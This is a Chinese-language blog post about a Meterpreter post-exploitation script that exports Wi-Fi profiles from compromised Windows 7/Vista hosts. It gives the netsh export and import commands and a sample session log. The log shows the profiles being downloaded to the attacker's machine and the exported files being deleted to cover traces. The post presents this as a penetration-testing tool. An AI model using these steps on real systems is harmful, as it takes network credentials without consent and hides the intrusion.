Metasploit无线配置文件提取工具详解

本文介绍了一款基于Metasploit的Meterpreter脚本,用于从Windows 7/Vista系统提取无线网络配置文件。通过netsh命令导出并下载WLAN配置,支持配置文件的重用导入,是无线网络渗透测试的实用工具。

Metasploit getwlanprofiles

这是一个简单的Meterpreter脚本,当在Windows 7或Vista系统上运行时,能够提取并下载所有通过Windows客户端设置的无线配置文件(即非第三方客户端应用程序配置的配置文件)。

实现原理

脚本通过以下命令将所有配置文件导出到当前%TEMP%目录:

1
netsh wlan export profile folder=%TEMP%

然后解析输出结果的每一行,找到配置文件的文件名并下载。为了清理痕迹,脚本会从目录中删除该文件。

配置文件存储在.msf3/logs/scripts/wlan_profiles/目录中。

要重用这些配置文件,可以使用以下命令将其导入到另一台Windows机器:

1
netsh wlan add profile filename="文件名.xml"

在测试过程中发现:如果使用外部无线网卡设置配置文件,然后移除该网卡,这些配置文件将无法通过netsh脚本访问。一旦重新插入网卡,配置文件就会恢复。虽然肯定还有其他方法可以访问这些配置文件,但本脚本不包含此功能。

使用方法

只需解压缩脚本并将其移动到meterpreter/scripts目录。建议在操作时从文件名中移除版本号。

运行时显示如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
meterpreter > run getwlanprofiles 
[*] Running Windows Wlan Profile Downloader Meterpreter Script
[*] New session on 192.168.0.80:53831...
[*] Running export command - netsh wlan export profile folder=C:\Users\robin\AppData\Local\Temp
[*] Downloading profile wpa_profile to /home/robin/.msf3/logs/scripts/wlan_profiles/VISTA-DOMAIN_20110110.5030/wpa_profile.xml
[*]     Deleting file C:\Users\robin\AppData\Local\Temp\Wireless Network Connection 2-wpa.xml
[*] Downloading profile thisiswep to /home/robin/.msf3/logs/scripts/wlan_profiles/VISTA-DOMAIN_20110110.5030/thisiswep.xml
[*]     Deleting file C:\Users\robin\AppData\Local\Temp\Wireless Network Connection 2-thisiswep.xml
[*] Downloading profile eap to /home/robin/.msf3/logs/scripts/wlan_profiles/VISTA-DOMAIN_20110110.5030/eap.xml
[*]     Deleting file C:\Users\robin\AppData\Local\Temp\Wireless Network Connection 2-this is it.xml
[*] Found and extracted 3 profiles
[*] Done!

下载

下载getwlanprofiles脚本。

致谢

该脚本很大程度上基于Carlos Perez优秀的Meterpreter脚本。

编写该脚本的灵感来源于阅读《Hacking Exposed Wireless, Second Edition》。强烈推荐这本书给所有人,即使你对wifi不感兴趣,因为它涵盖的内容远不止破解WEP和运行嗅探器,比其他书籍内容更加全面。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计